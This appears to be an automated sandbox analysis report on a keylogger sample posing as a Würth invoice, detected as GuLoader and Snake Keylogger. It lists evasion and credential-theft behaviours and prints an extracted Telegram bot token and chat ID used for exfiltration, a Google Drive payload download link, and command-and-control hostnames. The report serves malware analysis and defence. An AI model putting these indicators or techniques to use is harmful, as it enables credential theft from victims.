Edit tour

Windows Analysis Report
Wuerth_factura_4052073226..exe

Overview

General Information

Sample name:	Wuerth_factura_4052073226..exe
Analysis ID:	1537095
MD5:	787041cd8d6cd5e63534d1b060889a76
SHA1:	82da83771130fbe29d2443635757c3cf5c3949c6
SHA256:	4447fbf1066bc4f640abff84fcac04d0c86664f9823410348a36c280ac80e26d
Tags:	exe
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Machine Learning detection for sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Wuerth_factura_4052073226..exe (PID: 528 cmdline: "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe" MD5: 787041CD8D6CD5E63534D1B060889A76)

Wuerth_factura_4052073226..exe (PID: 3148 cmdline: "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe" MD5: 787041CD8D6CD5E63534D1B060889A76)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7777204705:AAGdGJgXaEaWvE6yXv7RvWYjJkTQCsiDnJc", "Chat_id": "7698865320", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2534956936.0000000005BC2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000004.00000002.3272331155.0000000002F22000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Wuerth_factura_4052073226..exe PID: 3148	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Wuerth_factura_4052073226..exe PID: 3148	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:05:10.826742+0200	2803305	3	Unknown Traffic	192.168.2.5	49981	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:05:08.522734+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49967	132.226.8.169	80	TCP
2024-10-18T15:05:10.100838+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49967	132.226.8.169	80	TCP
2024-10-18T15:05:11.772839+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49982	132.226.8.169	80	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 18 Oct 2024 13:05:28 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Wuerth_factura_4052073226..exe, 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Wuerth_factura_4052073226..exe, 00000000.00000000.2028021606.000000000040A000.00000008.00000001.01000000.00000003.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000000.2528750158.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.0000000037401000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20a
Source: Wuerth_factura_4052073226..exe, 00000004.00000003.2682855129.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2682904166.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375C1000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375B2000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlBjq
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006E78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/=y
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3277308268.0000000008870000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1_SER_W1hRzLv2OKsg5Y8Ur8eTx8b1FZM
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1_SER_W1hRzLv2OKsg5Y8Ur8eTx8b1FZM$LI
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1_SER_W1hRzLv2OKsg5Y8Ur8eTx8b1FZMlB
Source: Wuerth_factura_4052073226..exe, 00000004.00000003.2725134762.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006EE6000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2692567127.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/&
Source: Wuerth_factura_4052073226..exe, 00000004.00000003.2725134762.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2692567127.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/:
Source: Wuerth_factura_4052073226..exe, 00000004.00000003.2682855129.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006ECD000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2725134762.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2682904166.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006EE6000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2692567127.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1_SER_W1hRzLv2OKsg5Y8Ur8eTx8b1FZM&export=download
Source: Wuerth_factura_4052073226..exe, 00000004.00000003.2725134762.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006EE6000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2692567127.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/~
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.000000003744D000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374BD000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.000000003744D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/155.94.241.186
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374BD000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000374E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/155.94.241.186$
Source: Wuerth_factura_4052073226..exe, 00000004.00000003.2682855129.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2682904166.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Wuerth_factura_4052073226..exe, 00000004.00000003.2682855129.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2682904166.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Wuerth_factura_4052073226..exe, 00000004.00000003.2682855129.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2682904166.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.0000000038421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Wuerth_factura_4052073226..exe, 00000004.00000003.2682855129.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2682904166.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Wuerth_factura_4052073226..exe, 00000004.00000003.2682855129.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000003.2682904166.0000000006EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375F2000.00000004.00000800.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3296722431.00000000375E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 142.250.185.206:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.5:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49996 version: TLS 1.2

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Code function: 0_2_004052CB GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052CB

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 0_2_0040327D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_0040327D
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_004032B2 lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004032B2

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 0_2_00404B08	0_2_00404B08
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_00404B08	4_2_00404B08
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000DC147	4_2_000DC147
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000DD278	4_2_000DD278
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D5362	4_2_000D5362
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000DC472	4_2_000DC472
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000DC738	4_2_000DC738
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000DE988	4_2_000DE988
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000DCA08	4_2_000DCA08
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000DCCD8	4_2_000DCCD8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D9DE0	4_2_000D9DE0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000DCFAA	4_2_000DCFAA
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D6FC8	4_2_000D6FC8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000DE97A	4_2_000DE97A
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000DF974	4_2_000DF974
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D29E0	4_2_000D29E0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D3E09	4_2_000D3E09
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB2968	4_2_39DB2968
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBFC68	4_2_39DBFC68
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB5028	4_2_39DB5028
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB17A0	4_2_39DB17A0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB9328	4_2_39DB9328
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB1E80	4_2_39DB1E80
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBDDF1	4_2_39DBDDF1
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBD999	4_2_39DBD999
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBD9A8	4_2_39DBD9A8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBD550	4_2_39DBD550
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB9548	4_2_39DB9548
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBD540	4_2_39DBD540
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBD0F8	4_2_39DBD0F8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBD0E9	4_2_39DBD0E9
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBCC8F	4_2_39DBCC8F
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBCCA0	4_2_39DBCCA0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB0040	4_2_39DB0040
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB9C18	4_2_39DB9C18
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB5018	4_2_39DB5018
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB0012	4_2_39DB0012
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBF810	4_2_39DBF810
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBF805	4_2_39DBF805
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB8B91	4_2_39DB8B91
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB178F	4_2_39DB178F
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBF3B8	4_2_39DBF3B8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBF3A8	4_2_39DBF3A8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB8BA0	4_2_39DB8BA0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBEF51	4_2_39DBEF51
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBEF60	4_2_39DBEF60
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBEB08	4_2_39DBEB08
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB0B30	4_2_39DB0B30
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB0B20	4_2_39DB0B20
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBEAF8	4_2_39DBEAF8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBE6B0	4_2_39DBE6B0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBE6AF	4_2_39DBE6AF
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBE6A0	4_2_39DBE6A0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBE258	4_2_39DBE258
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBE257	4_2_39DBE257
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBE24D	4_2_39DBE24D
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB1E70	4_2_39DB1E70
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBDE00	4_2_39DBDE00
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F4ED0	4_2_3A5F4ED0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F7B78	4_2_3A5F7B78
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F8FB0	4_2_3A5F8FB0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F81D0	4_2_3A5F81D0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FEE57	4_2_3A5FEE57
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F1A50	4_2_3A5F1A50
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F1A4F	4_2_3A5F1A4F
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F1A41	4_2_3A5F1A41
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FCE78	4_2_3A5FCE78
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F4A78	4_2_3A5F4A78
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F6E72	4_2_3A5F6E72
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F6E70	4_2_3A5F6E70
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FEE68	4_2_3A5FEE68
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FCE67	4_2_3A5FCE67
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F6A18	4_2_3A5F6A18
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F6A07	4_2_3A5F6A07
